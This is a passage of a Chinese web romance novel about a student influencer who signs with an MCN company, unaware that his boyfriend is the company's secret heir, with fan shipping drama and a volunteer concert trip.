他可以清楚地感觉到,面前这位大艺团的部长似乎并不怎么喜欢自己,也许就连这杯香槟也不是不小心碰下来的。 “算了,反正也没多少钱,以后不穿就是了。” 陶真定定地看了李杰一眼,把自己的手机重新收起来,笑着对一旁的齐戚说:“齐戚哥,我先去收拾一下。这不巧了吗,刚好我没有舞伴,就不参加等下的舞会了。” 齐戚的动作一顿,很敏锐地感知到了什么,下意识地扫了一眼李杰,旋即才挑了挑眉,笑道:“行啊,去吧。” 陶真“嗯”了一声,来不及再抬头看一眼引起他注意的太子爷,就走向了卫生间。 另一头,祝闻声整个人却已经僵住了。 他像是被施了定身法一样停在原地,生了根似的,怎么也没法再往前多走一步。 身旁的几个领导都有些讶异地回头望着他,他却依然没有做出任何反应,直到看见那金发少年抱着外套匆匆离开了展会厅,他冰冻般的身体才渐渐融化,浑身上下那股近乎窒息的紧张慢慢地消散下去,嗡嗡的耳畔终于重新响起了领导们的声音。 “小祝总?小祝总?您在看什么呀?那边是咱们的音乐频道分区,现在正在考虑跟一波新人博主签约……” 祝闻声勉强压下剧烈跳动的心脏,没忍住又看了一眼那消失在拐角的金发少年,低声说:“嗯,我知道。” 他早该猜到的。陶真明明早就问过他团队协作相关的问题,也在周三晚上拿到邀请函时特意给他打了那么多电话,甚至就在不久前,还说自己在参加活动。 他只是一时被蒙了眼,怎么也没想到陶真要参加的活动竟然是Z时代的展会,更没想到,他刚刚差一点点就以太子爷的身份跟陶真相见。 祝闻声一点都不敢想,若事情真的发生了,会产生什么样的后果。 绝对,不能让陶真发现。 “挺好的,音乐频道的流量很不错。”祝闻声收回目光,语气听起来依旧冷淡平静,“其他频道我等会统一了解,有点事情先去旁边的偏厅一趟。” “另外,让他们不要拍我照片,不要上传到网上。” 众人一怔,不知道为什么祝闻声明明才进来没多久就要去隔壁,但他们每个都是溜须拍马的人精,听到命令就立刻说没问题,着手安排人一项项执行。 等祝闻声步履如风地出了展厅后,几个地中海才摸了摸自己的光头,在原地思索了片刻。 一个许多年前就在司家干活、好不容易才靠着资历爬到如今的高层率先反应过来,眼睛一亮,转身就要跟着走。 一旁的好友拉住他,压低声音问:“你干嘛去?” 老高层一言不发,抓着好友一块往卫生间的方向走,露出了一个神秘兮兮的笑容:“你刚刚没发现?” “发现什么?” “从进入展厅开始,咱们的小祝总就被音乐频道吸引了目光,一直都牢牢地盯着那边的人,我本来以为他看的是那个女网红,但其实不是。他看的是那个金色头发的男生。” 那个漂亮得好像洋娃娃的金发少年…… 好友一怔,回忆了一下祝闻声刚刚的动作,恍然大悟般拍了一下大腿:“还真是!” “所以,”老高层在卫生间门口站定,拍了拍心领神会的好友,“等下知道该怎么说了吧?”- 陶真在卫生间里磨磨蹭蹭了一会,发现无论如何都清理不干净外套上的酒渍后,就暂时放弃了,给祝闻声发了一条“我看见一个人好像你”的消息。 他去洗手池洗了个手,抬起头时,从镜子的反射里看见了站在他身后的两个中年男人。他们都身着正装,看起来自带一股领导气息,似乎是公司的高层。 陶真一愣,下意识地转过头,恰好与那两人对上目光。 那两人往他的方向走来,露出一个和蔼的笑容。 “是……‘真知棒’吧?”一人笑着说,“幸会幸会,我也看过你最近爆火的几条视频呢。” 无论多少次,陶真都有点不太适应被人直接喊网名。他不好意思地挠了挠脸颊,跟那两个高层分别打了招呼。 若是普通的寒暄到这里就该结束了,但这次的两人显然对他十分热情,向他塞了名片不说,还问他对于签约合同和要求有什么看法。 陶真不免认真起来,刚跟他们讨论了一会,一开始与他搭话的高层就看了眼手表,露出了一个略微有些苦恼的神色:“哎,等会儿就要开始舞会了,我们还得上个厕所……有些来不及多说了。” “不然这样吧,你先去偏厅,我们的小祝总这会儿正在那边呢,你可以和他细致聊聊。” 小朱总? 不就是那个太子爷吗? 想到吴斌等人的下场,陶真不免迟疑。可这两位高层没有再给他犹豫的机会,匆匆给他指了一下偏厅的位置,就径直跑进了卫生间。 陶真有点无措地挠了挠脸颊,最终还是忍不住心动,向偏厅方向走去。 这一会工夫耽搁下来,场内的舞会也即将开始了。 刺目的射灯光线关闭,四周渐渐暗下来,如同丝绸般流淌的月色缓缓铺在地面上。 手持小提琴、大提琴等等乐器的乐队早就已经到场,调试好设备,在天鹅绒布前坐下,缓缓开始演奏。 不知不觉间,陶真已经走到了偏厅门口。 这里的门半掩半阖着,细碎的水晶灯光芒波光粼粼。 一道高挑的人影就在不远处,安静地立在那里。 陶真生出几分熟悉之感,心脏忽然加快了几分,深吸一口气,才小心翼翼地说:“打扰了,请问方便进来吗?” 那人影猛地一僵,而不远处的乐声突然猛地变强,如连锁反应一般,灯光“啪”、“啪”、“啪”,一盏接着一盏地熄灭。 眼前霎时陷入一片伸手不见五指的漆黑,陶真悚然闭上了眼,条件反射般将自己准备好的下一段倒豆子般说了出来: “刘经理让我过来跟您讨论一下新的签约模式,我是音乐频道的,我的网名叫‘真知棒’,真名叫做陶真——” “砰”! 好像一块巨石坠入雪山深渊,在数十秒的自由落体后才触碰到了地面,发出了一声巨大的炸响,“轰隆隆”地引发了两侧的雪崩。 祝闻声的心狂跳起来,难以置信地回过头,那双漆黑的瞳眸中映着少年金发的光泽。 陶真怎么会在这里? 他们竟然擅作主张,让陶真过来?! 紧迫到窒息的情绪与不知从何而来的愤怒交织在一起,疯狂地涌了上来,几乎攥紧了他的喉咙。如果今天出现在这里的人不是他呢? 如果那个人以威逼利诱的手段控制陶真呢? 祝闻声盯着身形单薄、仅仅穿着衬衫马甲的陶真看了几秒,猝然往那个方向走了过去。 陶真说完以后等待了半晌,都没听见那位小朱总的回应,他忍不住把眼睛悄悄睁开一条缝。 四周都是嘈杂的乐声,朦胧的月色勾勒出不远处男人高大的轮廓。 西装暴/徒一样的男人低着头,一言不发、大跨步地走到了他的面前。 几乎是一瞬间,陶真生出了一股幼兽遇到危险时的敏锐直觉,浑身的毛猛地炸开,下意识地往后退了一步: “小朱总,如果不方便的话,我就先走……” “陶真。” 昏暗的灯光下,那高大男人的面容模糊,声音也被嘈杂音乐过滤,有些异样变调。 他单手脱下了自己的黑色外套,胸口的白衬衫随之绷紧,扣子和衣衫中间拉开一点性感的缝隙,将饱满的胸肌线条紧紧地勾勒出来。 “不许。” 陶真像是被拎着后颈的小猫,呼吸骤然急促了起来。 “太子爷”在脱、脱衣服? 他想干什么? 心脏跳得越来越快,浑身的血液好似沸腾,在那“太子爷”俯身、双手靠过来的刹那,陶真再也忍耐不住澎湃的愤怒和恐慌,抬起手胡乱地挥了一把—— “啪”地一声脆响。 “太子爷”偏过头去。 与此同时,陶真感觉自己的肩膀一热,多了一件精致昂贵的西装外套。 【📢作者有话说】 掉马?实则不然[害羞] 老婆的手香香的[抱抱][抱抱] 33 ? 第 33 章 ◎我一点也不喜欢那个太子爷!◎ 陶真在原地懵了两秒, 汹涌的怒意和恐慌退了潮,取而代之的是更加澎湃的歉意,以及震惊。 原来这位太子爷不是想对他做什么不轨之事, 而是想给他披上一件外套。 “对不起对不起对不起!” 陶真有些懊恼,后知后觉地上前一步, 想要凑过去看一下自己刚刚顺手拍过去的地方,“我刚刚听见‘啪’的一声,是不是我打着你了?打着哪里了?” 太子爷却没说话, 只是迅速地扯开陶真细白修长的五指,往后退了一步, 压抑低沉的声音有些模糊不清: “没有。你走吧。” 两人的手短暂地相触了一刹那,留下电流般细小刺激的酥麻触感。 陶真整个人一怔,也许是他的错觉吧,他感觉到那太子爷的手心格外粗粝, 似乎有着坚硬厚实的老茧。 “真的没事吗?真的很抱歉, 我不是故意的……我以为……” 舞会已然开始, 悠扬的乐声回荡在昏暗的舞池和走廊,只有远处传来点点朦胧的光亮。 陶真支支吾吾地在原地尴尬了一会, 还是没好意思把自己刚刚想的话说出来,只抬起那双湿漉漉、像幼犬一样的眼睛。 他渐渐适应了周围的环境, 能够看见四周物体朦胧的轮廓—— 下一刻,那位太子爷猝然转过身,将他推出了偏厅,重重地关上了那扇沉重的木雕大门。 “轰”地一声,陶真差点吃了一鼻子灰, 踉跄了两步才扶着门站稳, 呆呆地抬头看了一圈, 不明白太子爷到底发什么疯。 明明要商量合同的人是他,主动为自己披上衣服的人也是他,强硬地把自己从偏厅里赶出去的人还是他…… 该说什么?伴君如伴虎,还是君心深不可测? 陶真腹诽几句,挠了挠自己的脸颊,没有在这件事情上过多纠结,很快就重新返回宴会厅。 场内的舞会还在持续,悠扬的乐声过了约莫十分钟才堪堪停止,灯光大亮。刚刚才和思涵结束跳舞的齐戚跟陶真吐槽,他们场上的人这么卖力地跳了半天,才发现领导们根本就没过来。几个高层都不见了,听说是被那位太子爷冷冷地喊了过去。 大家都在肆意地发挥着想象,流传最广的猜测就是,太子爷生气了。 陶真心虚地攥了攥身上的外套。 接下来的展会上,大家都在热烈地讨论着这件事情。陶真却有些心不在焉,胡乱地聊了一会儿以后就跟齐戚思涵告了别,一个人走到酒店门口等车。 他臊眉耷眼的,连连踢了好几脚路边的小石子,也没能将心里那股莫名的烦躁情绪压下去。 长长地叹了一口气,正准备看司机到哪儿了,就忽然感觉余光一暗。 抬起头,刚好对上了祝闻声的视线。 高挑的青年穿着一件简单的黑色卫衣,戴着宽大的兜帽,大半张俊美的脸蛋都藏在阴影之下。此时此刻,正温和地注视着陶真。 “……” 陶真张了张嘴巴,花了好几秒才反应过来。 在看见祝闻声的瞬间,他胸口那股说不清道不明的烦躁就消失了,整个人像只归巢的幼鸟一样飞扑了过去,手脚并用地跳到了祝闻声身上:“你怎么在这儿呀?!” 祝闻声顺势托住了他的屁/股和腿弯,将他抱得更严实了些,这才低下头,声音微哑:“我兼职刚刚结束,从这里路过,就想来接你回家。你不是说……遇见了一个跟我长得很像的人吗?” 陶真原本只是一时激动才跳到了祝闻声的身上,这会倒是被牢牢地箍在怀里,想跳也跳不下去了。 “唔,我是遇到了,但是我只看见了他的身材,没怎么看清楚脸,”他不太安分地在祝闻声怀里拱了拱,不慎扯到了卫衣的领口,将那宽大的兜帽给拽了下来,“周围太黑了,又那么吵……你的下巴怎么了?!” 祝闻声身体一僵,一时腾不出手去将兜帽重新拉紧,只能任由陶真用双手捧住他的脸,对着下巴上那道类似指甲的血痕仔细地端详了一会。 刹那间,他的心跳猛地快了起来,仿佛有什么东西要破土而出。 半晌,陶真才终于松开手。 他皱起眉,像只气鼓鼓的小河豚一样:“是不是今天做兼职的时候谁欺负你了?” “太过分了,到底是谁干的?!” “……” 祝闻声的喉结上下滚了滚:“没谁,只是不小心碰了一下。” 陶真显然不相信这个答案,但他知道祝闻声不会跟他继续抱怨吐槽,忍不住鼓起了脸颊。 然而片刻后,他不知想到了什么,长长地叹了口气:“好吧。其实…我今天也不小心打到了一个人。” “就是我说跟你很像的那个人。听朋友说,他其实是我想签约的公司——Z时代空降下来的大老板,很厉害呢。我一开始看见他当着我面脱外套,还以为他是为了……所以一时间没忍住,用力推了他一把,可我没想到人家是为了把衣服给我保暖。” “后来大家都说他把领导高层叫走了,好像很生气的样子……你说,是不是因为我狗咬吕洞宾、不识好人心呀?” 祝闻声一低头,就看见陶真眼巴巴地窝在他胸口,眉头委委屈屈地皱着,就连鼻尖都有点红。 也许是因为自己错怪了别人,而感到内疚。 “不是。” 祝闻声垂下眼,语气有些轻柔,“他知道你不是故意的,不会生你的气,只是有些讨厌那些自以为是的领导。” “说不定他还会很高兴,因为你有保护自己的意识。” 陶真微微一顿,忍不住抬起头,两人的目光在空中交汇。 他们的鼻尖几乎快要紧紧碰到一块,温热的呼吸也交缠在一起。 “可他和我根本不熟,而且他还是Z时代的大老板,大家嘴里的太子爷……” 说着说着,陶真的声音越来越低,因为祝闻声情不自禁地俯下.身,轻轻吻了一下他的唇瓣。 这一下如同蜻蜓点水,触感温柔得好像一片羽毛落了下来。陶真有点意犹未尽地舔了一下唇,小声把后半句话补全:“要是,他生气了,‘雪藏’我,怎么办?” 祝闻声的睫毛颤了一下,闭着的眼睛慢慢睁开。 漆黑如墨的瞳孔化开,搅着些许令人难以辨认的情绪。 “那如果他喜欢你,想要捧你,怎么办?” 陶真一怔,下意识地反驳:“怎么可能!我跟他根本——” “怎么不可能?”祝闻声的声音依旧清冷平淡,只是瞳孔的颜色越来越深,“如果不是因为喜欢你,对你一见钟情,他为什么会把自己的外套脱下来给你披?” “……” 身后一辆跑车呼啸而过,刺耳的鸣笛响彻整条街道,刺眼的前灯照得人眼花。 陶真遽然安静了下来,努力抱住了祝闻声的后颈,凑到了他的耳边,眨了眨眼睛:“那我也不喜欢他。” “我只喜欢你呀,阿声。” 祝闻声的身体骤然绷紧了。 怀里的金发少年漂亮得好像个洋娃娃,嫣红的唇瓣湿热地贴在他的脸颊上,柔软的呼吸洒在他的耳畔。 他托住陶真的手又用了几分力气。 “相信我呀阿声。” 陶真弯起眼又喊了一次,“其实我最讨厌跟那种阴晴不定的人接触了,我一点也不喜欢那个‘太子爷’,真的。” “……好。”祝闻声闭了闭眼,“我也不喜欢他。”- 一般来说,MCN公司和博主之间会有好几种签约的类型,例如全约、平台约、商务约、孵化约。 这些合作模式都各有利弊,不是要承担高昂的收入分成,就是要把自己辛辛苦苦做的账号交出去。如果想要“反悔”,更是要支付极为高昂的违约金。 然而陶真发现,他的签约类型和以上似乎都不太一样。 他和Z时代的合同规定,不仅真知棒这个账号完全属于他,公司还只抽成他广告和商务收益的百分之五,除此之外,公司还会为他提供一系列的附加福利。 通俗来说,这合同对他百利而无一害,好的有些太离谱,都让人怀疑自己到底会不会被带到国外割腰子。 就连陶大俊公司的律师团队见到这个合同都有些诧异,询问陶真这个天降的大饼到底是从哪来的。 陶真也说不出个所以然来,他感觉自己像是稀里糊涂地踩到了个狗屎运。在确认合同真没什么问题后,将信将疑地签了。 也许是因为顶层空降了个大boss的缘故,Z时代的内部换了几次水,人员不全,前前后后过了将近一个月才把全部流程走完。 正式签约那天,Z时代和齐戚都特意发了视频,祝贺他的加入。 陶真心头一块巨石落下,也很开心,挨个转发他们的视频以后,像往常一样点开评论区,打算看看大家会说些什么。 然而这次上下刷了两遍,他突然看见了一条奇怪的tag,情不自禁地瞪大了眼。 #真博士#? ——顾名思义,他和七博士齐戚的CP。 “?” 不是,这对吗? 陶真一脸懵,顺着这个tag进去看了一会儿,才渐渐搞清楚原委。 从前段时间开始,齐戚主动关注他开始,就有人注意到了他们“这一对”。偏巧接下来他又回关了齐戚,并在他直播的时候连砸了两个三千块的嘉年华……磕这对CP的队伍日渐壮大。 更何况这会儿,两人签约了同一家公司,成了前后辈关系,简直“锤得不能再锤”。 大家直呼kswl,话题热度一时间竟然压过了#真摄情#。 虽然有誓死守护官配的真摄姐妹们强烈抗议,但互联网上的混乱邪恶到底还是太超越人类的想象了。 【嘿嘿,虽然真知棒之前回复过一条跟摄影师有关系的评论,但那是之前了呀,现在根本就没看见过他和摄影师有任何互动诶,根本磕不起来好吗?】 【对呀对呀,而且摄影师到现在都还没露过脸,说不定是个不能露脸的丑八怪。七博士跟真知棒的颜值才是势均力敌呢!】 【不管了,反正七博士是单身,脑补一个强取豪夺play也是可以的啊……】 【……】 这都什么跟什么! 陶真险些被这些评论呛死。 谁说祝闻声是丑八怪的?!他分明帅得人头晕眼花好么? 陶真忍了又忍,还是联系了Z时代分配给他的助理小鱼,想问问她能不能帮忙处理一下这种情况。 可小鱼却有些为难:【陶真哥,不是我不想帮你,但其实我们一般都不会阻止这种磕CP行为的。你懂的,这种不仅不是黑稿,相反还是粉丝们为爱发电的行为,也是一种另类的流量……】 陶真难得打断人:【可是我和齐戚哥都有对象,这是不是不太好呀?】 【实不相瞒,这正是另外一个问题所在。】 小鱼在屏幕那头叹了口气:【陶真哥,你很大方,没有遮遮掩掩,而是直接公布了自己和对象的恋爱关系。可是……齐戚哥没有。他账号目前有挺多女友粉和CP粉的,如果让他突然公布一下自己和嫂子谈了很久恋爱的话,可能会造成一定规模上的脱粉。】 【这件事的确是他做的不妥,公司最近正在想办法为他转型呢。】 陶真鼓起脸思索了半晌,女孩说的没错,既然已经进入互联网这一行业,一言一行被如何解读,就不是他所能控制的了。 而且他还得考虑齐戚,不管齐戚最后如何公布自己和思涵的关系,他都不好越俎代庖。 女孩还跟他说,若要是真想把他和七博士之间的CP热度压下去的话,最好的办法其实就是他多和祝闻声互动一些,旁敲侧击地告诉大家,他到底和谁才是真的。 不过……陶真有些犹豫,要怎么才能向大家证明呢? 他有些无计可施地摁灭了手机,令自己暂时不去思考这件事,恰好上课铃响起,贾嘉急匆匆地从门口冲了过来,表情极其兴奋和期待。 陶真情不自禁地被她的神情感染,也勾起了唇角,问她:“怎么了嘉嘉,发生什么好事啦?” 贾嘉“嘿嘿”一笑,神秘兮兮地将屏幕上的消息展示给了陶真,压低声音说:“超级无敌大好事!记得我以前和你说过咱们音乐社很厉害,有的时候会承办一些校内外的活动吗?这不就来了!” “一共有两场活动,我比较推荐你第一场——奥体中心那边会举办一个很多明星和网红参与的拼盘演唱会,需要从我们学校出志愿者。不仅可以加学分,有金钱补贴,还可以近距离听演唱会……我们音乐社的人全部都可以免面试参加!” 陶真也有些惊喜:“哇!” “哦对,我还听说这场……” 贾嘉原本还想说些什么,却见这节课的老师刚好从讲台上下来巡视,赶快坐直了身子。 陶真只得压下心中的好奇,跟她一块规规矩矩地翻开书,脊背绷得紧紧的,乖乖听背后的老师讲天书。 下课铃声响起,学生们立刻起身往教室外涌去。四周水泄不通,走动和喧哗声尤其吵嚷。 陶真跟在贾嘉身后一起往外走,刚准备再仔细聊一聊志愿活动的事,就突然感觉自己口袋里的手机振动了起来,他见来电人是祝闻声,匆忙地接了起来:“喂?阿声——” 祝闻声倚在八角笼边,低低地“嗯”了一声。 这几天,他终于搞完了公司里的一切事情,也搞定了陶真签约的事宜,便在网上搜索了一下陶真。 原本是想看一下公司部门有没有做实事,将那些莫名其妙的黑稿都清理掉的,但最后却不自觉地点进了陶真和他的CPtag。 跟之前不同,这次点进去时,他还以为自己是什么进了第三次世.界.大.战的战场。 喜欢#真摄情#的和喜欢#真博士#的就这样为捍卫自己的CP而斗争了起来。话题里各处都漂浮着尸体,简直血河漂橹。 祝闻声记得那个“七博士”,就是展会那天晚上,站在陶真身边的那个。 明明长得不如视频照片,却被粉丝吹得天上有地下无,搞得世界上只有他才能配得上陶真。 简直就是痴人说梦。 “真巧!我刚刚还想打电话给你呢,”陶真弯起眼,语气活泼,“我朋友刚刚和我说,过几天奥体中心那边会有一个演唱会,我们可以去当志愿者,可以加学分!” 祝闻声垂下眼,心头有些燥郁,其实他向来都对这种志愿活动没兴趣,毕竟很浪费时间。 而时间,对一个综合格斗运动员来说,十分重要。 “我可能……” “真宝!” 陶真“嗯?”了一声,还没来得及听祝闻声说完,就见走在前面的贾嘉回过头,兴奋地将一开始没来得及说的话补充完整: “你知道吗,这次来参加演唱会的阵容特别豪华!除了这几个明星以外,还有‘向日葵’、‘小刀’、‘DoctorSeven七博士’……” “诶,七博士也会来?”陶真有些惊奇。 贾嘉点头:“对呀,他不是五百多万粉丝的音乐博主嘛。我给他好多视频都点过赞呢,感觉他长得好帅!!真希望志愿者可以去后台啊,我还想跟要张签名呢!” 陶真弯起眼笑了:“行啊,如果不能去后台的话,我就帮你联系一下七博士,应该可以要到签名。” “哇!谢谢真宝!我差点都忘了你跟七博士是互关了!啧啧,这金大腿也是让我抱上了呀~” 陶真嘿嘿笑了,刚想跟贾嘉再聊两句,突然想起从刚刚开始就一言不发的祝闻声,赶快回过神:“对了阿声,你刚刚想跟我说什么?” “……” 周遭声音嘈杂,听筒那一头却极为安静。祝闻声深呼吸一口气,声音听起来冷冷淡淡的,仿佛努力压抑着什么情绪: “我说,我也和你一起去。” 34 ? 第 34 章 ◎陶真早就有男朋友了◎ “是嘛, 太好了!” 陶真有些惊喜,忍不住对即将到来的志愿活动更加期待,也没听出祝闻声语气里的不对劲, 笑眯眯地说,“那你等下一定要记得赶快报名, 这次活动肯定很火爆,晚了就来不及了。” 祝闻声垂下眼,修长粗粝的指节将手机握得很紧:“嗯, 知道了。” 陶真还要赶着去下一节课的教室,于是和祝闻声说了句拜拜后就挂断了电话。 这是节好几个班一起上的水课, 呼呼啦啦的学生们鱼贯而入,将教室塞得满满当当。陶真在角落坐定,呼出一口气,忍不住挠了挠脸颊。 说起来…… 祝闻声有没有看见过他们两个人的CP真摄情, 或者他和齐戚之间的CP真博士呢? 应该没有吧。 像祝闻声这样的直男, 是肯定不会关注这些的。那些大尺度的同人图、同人文什么的实在是太炸裂了。就算他真的看见了, 恐怕也不会放在心上的。 想到这,陶真转了一圈手里的笔, 将脑海里乱七八糟的思绪给压了下去。 他完全忘了问,祝闻声原本给他打电话, 是为了说什么- 几天后,志愿名单终于敲定。 这次志愿果然是意料之中的火爆,大家都对这种又能拿学分又能免费听演唱会的活动十分感兴趣,报名的人几乎要将负责人的Q.Q淹没,都要靠四六级和绩点来筛选。 陶真相当吃惊, 若不是他们属于音乐社, 恐怕根本去不了。 他有点担心祝闻声能不能成功抢到名额, 不过祝闻声跟他说没问题,他便也放下了心。 演唱会在傍晚举办,但志愿者们上午就要到,跟工作人员协调彩排事宜。 奥体中心离南城大学有十几公里远,主办方那边包了几辆大巴车专门用于接送他们。 因为要坐车,涉及到安全问题,所以负责人这边也想了办法,请几个社团的部长来帮忙组织纪律。 于是,陶真刚到停车场,就看见了两张熟悉的面孔——白宇轩和柳娴。 “嗨,陶真!”白宇轩眼睛一亮,冲他用力挥了挥手,“刚刚才跟柳娴说到你,没想到下一秒就看见你人了,你也来参加演唱会的志愿活动?” 陶真冲两人跑过去,笑着应了:“是,白部长好,柳部长好。” “嗐,别那么客气,”柳娴美目弯弯,打趣道,“实不相瞒,我最近总是重播你的视频,都已经变成你的粉丝了。等会有空的话给我签个名吧,真知棒同学?” 被熟人叫网名,堪称世界上最尴尬的事情之一。 陶真脸蛋腾地一下红了,几乎求饶般看向柳娴,支支吾吾地说:“学姐……” 柳白二人都笑了,笑容里充满善意,刚想继续说些什么,就忽然看见不远处走来了一个戴着墨镜的风衣男。 他们脸上的笑容瞬间僵硬,对视了一眼,俱从彼此眼中读到了浓浓的嫌弃。本想直接带着陶真转身离开,却没想到那风衣男高喊了一声“白宇轩”。 白宇轩只好停住,有点无奈地回头:“李杰部长,早。” 李杰? 陶真一怔,下意识地回头看去。 那天晚上在Z时代展厅里的男生漫不经心地朝他们走来,把手里的花名册往空中一抛: “等下记得点名啊,要是少了什么人,唯你是问。” “……” 这种态度完全就是颐指气使,陶真下意识地皱起眉,想要上前一步说些什么,却被一旁的柳娴不动声色地摁住了。 白宇轩则深吸一口气,咬紧牙关:“嗯,知道。” “行,既然都交给你了,我就先上车了,”李杰懒洋洋地点了点头,全程连墨镜都没摘,姿态看起来高傲且刻薄,“你搞完发消息给我,我来检查……” 说罢,他准备转身,却在不经意地瞥见了站在柳娴身边的人,猛地摘下了自己的墨镜: “嗯?陶真?” 白宇轩和柳娴一愣,条件反射地转头看向陶真,眼里写满了:卧槽他怎么会认识你? 陶真抿了抿唇,像是只保护同伴的小狮子,往前跨了一大步:“李杰部长,有什么事吗?” “倒不是什么事,”李杰脸色一僵,半晌挤出来一个笑,“只是那天展会后半段没看见你人。” “我听说你已经成功跟Z时代签约了?是真的吗?” 陶真:“真的。” 李杰脸上试探尴尬的笑容有些维持不住了,牢牢地盯着陶真,手不自觉地用力,甚至都把墨镜攥得嘎吱响了一声: “挺好的,恭喜你,Z时代挺适合新人的,不过呢,不太适合像我这种靠自己做账号的人。” “哎,没办法自己能赚到钱,就会觉得它家的签约条件太苛刻了……” 白宇轩和柳娴对视了一眼,偷偷地翻了个白眼,这人又开始了。 他们刚想拉着陶真借口离开,就听金发少年一脸认真,恍然大悟似的:“哦,原来你不签约是因为不喜欢啊。” “……” 看见李杰铁青扭曲的脸色,白宇轩和柳娴咬紧牙关、拼了老命才忍住,没当着他的面笑出来。 他们迅速反应过来,清咳两声,附和道:“也是,李杰部长自己就能做好账号,哪里用得上跟Z时代的签约啊。” “就是就是,陶真,你可得跟部长多学一下,他前年就开始在平台发视频了,是你的前辈——” 可惜的是,这位前辈的水平实在是太烂,观众缘也不好,仗着自己部长和博主的身份在众人面前嘚瑟了这么久,狠狠撞上了陶真这个没发几条视频就被各大公司抢着要的黑马。 他们这巧妙的一唱一和明褒暗贬,李杰的鼻子都差点气歪,“呵呵”笑了一声,转过身,咬牙切齿地爬上了大巴车。 白宇轩他们也终于出了口恶气,听陶真讲展会那天的事情,没忍住又小声骂了李杰几句。然而他们说完,又提醒陶真从今以后一定要小心,千万不要在网上跟李杰扯上什么关系。 毕竟宁惹君子不惹小人,谁也不知道李杰会在背后使什么手段,防不胜防。 陶真严肃认真地点了点头,跟苦哈哈去点名的两人说了再见。 一拨人来了,签到,上车,坐满一辆大巴车;另外一拨又来,重复以上流程……陶真从一开始的轻松等得渐渐有些着急起来,终于看见了从不远处跑来的祝闻声。 天气冷了,黑发青年今天穿了一件简单的黑色羽绒服和一条宽松的牛仔裤,依旧看不出什么牌子,但整个人看起来颇为随性帅气,只是脸色略微有些沉郁,似乎心情不太好的样子。 陶真来不及多想,眼睛一亮,脚步轻快地往那个方向冲了过去。一身耀眼亮色的金发少年越过重重人群,扑到一身all black青年旁边,竟然意外和谐。 “抱歉,我来得有些迟了。” 祝闻声站定,胸膛微微起伏,“在路上有点事,稍微耽搁了一下。” “没关系,我们先去签到。” 陶真笑眯眯地带着他去白宇轩那边勾了花名册,却没想到在那张表上找了许久,才在最后的手写名单里翻到祝闻声。 他虽然觉得有点奇怪,但也没太放在心上,很快就像个小学生游一样兴致勃勃地带着祝闻声去找大巴车,在排队的时候回头: “说起来,阿声,你在路上遇到什么事啦?堵车吗?” “嗯,是。” 说完,祝闻声却顿了顿,不动声色地翻出手机看了一眼。 【她和我的梦:哥们,不好意思啊,你签到成功了吗?】 【她和我的梦:这事的确是我做的不对,早上一时间犯糊涂,看见有我喜欢的明星,一时间不想把志愿名额给你了。你放心,现在肯定没问题了,我已经跟负责人说过了。】 【她和我的梦:接收转账[500元]】 【……】 志愿活动的名额很难抢,祝闻声跟负责人联系时,志愿者已经满了,但他没有和陶真说不去,而是从旁人手里买了一个名额。 他并不觉得这是一种牺牲,只觉得这是自己答应陶真的事情,一定要做到。 前面排队的人上了车,祝闻声将手机收了起来,跟在陶真身后往上走。 大巴车已经坐得差不多全满了,只有李杰前面还有几个座位,陶真犹豫了一下,还是拉着祝闻声找了个离他最远的地方坐下。 “我们就在这吧。” 祝闻声“嗯”了一声,让陶真坐在靠窗的位置。 很快,等白宇轩和柳娴核对完上车,他们就启程前往奥体中心。 毕竟是大巴车,略微有些颠簸,陶真坐着坐着就不自觉地东倒西歪,祝闻声便干脆托住他的脑袋,让他靠在自己的身上接着睡。 没多久,祝闻声忽然感觉有一道视线牢牢地盯着他们,回头,一眼就在人群里锁定了李杰。 跟其他或是低着头玩手机睡觉或抬头聊天的学生不同,李杰虽然举着手机装模作样地在玩,视线却跟生了根一样长在陶真身上,脸上有些嫉恨的打量。 被祝闻声发现后,他感觉自己仿佛被什么捕猎中的野兽盯上了,心里咚地一跳,旋即迅速地收回了目光,装成无事发生的样子。 然而他心里却瞬间燃起了一股堪称兴奋的情绪。 陶真能成功跟Z时代签约,不就是靠七博士的人脉和资源吗?网上都对他和七博士的关系众说纷纭,但无一例外,都说他们有关系。 如果让他们看见,陶真这会又和另外一个男生在一起…… 回想起刚刚祝闻声那极为恐怖的眼神,李杰不自觉地心中狂跳,但他咽了咽口水,还是壮着胆子接连偷拍了好几张。 他低下头开始选择照片编辑文字,满心满意都沉浸在自己即将成功的喜悦中,并没有注意到祝闻声一直从车窗倒影的反光中观察他。 祝闻声的脸色有些冰冷,单手护着陶真,另外一只手则从口袋里掏出手机,礼尚往来,将李杰的照片发给了赵钊和手下的人,让他们着手去查。 眼见着李杰像是把手里的东西发送成功,露出了志满意得的笑容,祝闻声的表情越发阴沉,跟对话框那头又说了些什么。 下一刻,汽车猛地颠簸了一下。 靠在他肩膀上的陶真脑袋一滑,猛地睁开了眼,痛呼了一声,可怜巴巴地捂住了自己的鼻尖:“唔……我感觉我鼻子要断了,好痛……” 祝闻声停下动作,转身握住陶真的下巴,仔细地端详了一下他被撞到的地方,语速加快了两分:“真的这么痛吗?是不是撞到骨头了?” 黑发青年蹙着眉,平扇双眼皮压下,唇瓣也微微抿着,露出了一个很罕见的担忧表情。 这么长时间以来,陶真还是第一次在清醒的时候看见他这个模样,心里猝不及防地跳了两下。 他将眼眶里因疼痛而生出的生理性泪水憋了回去,含糊不清地说:“不是,我就是跟你开玩笑的,没有那么疼……” “真的么?” 祝闻声却没有像佟夏或是顾行舟那样笑骂他一句,反而依然蹙着眉,伸手轻轻捏了捏他的鼻梁,将他的小脸仔仔细细地检查了一遍。 明明表情十分冷淡,动作却很温柔。 陶真被他弄得莫名有些口干舌燥,好不容易终于确认没事了,立刻转过头,给自己扇风降温: “真、真没事了……我看好像也快到了,我们赶快下车吧——” 几乎同一时刻,大巴车猛地停下,颠簸一整路的学生们活跃起来,纷纷兴奋地看向窗外恢弘的奥体中心。他们叽叽喳喳地聊着天,等车门一开,就一股脑地往外面涌了出去。 陶真原本也想起身,但还是先给别人让了位置,拉着祝闻声在边上等了等。却没料到李杰率先一把推开了挡在身前的女孩,大跨步地越过了他,留下了一个意味深长的眼神,脸上的神色是连墨镜都遮不住的得意洋洋。 陶真一怔,联想到白宇轩和柳娴两人嘱咐他的事情,心里忍不住咯噔一跳:“他……” 一旁的祝闻声微微眯起眸,明知故问道:“怎么了?” “没怎么,只是那个人好像挺讨厌我的,因为签约Z时代的事,我签上了,他没有,”下了车,陶真三言两语概括完,有些急切地从口袋掏出手机,“我不知道他有没有趁着我睡着的时候,在背后做些什么……” 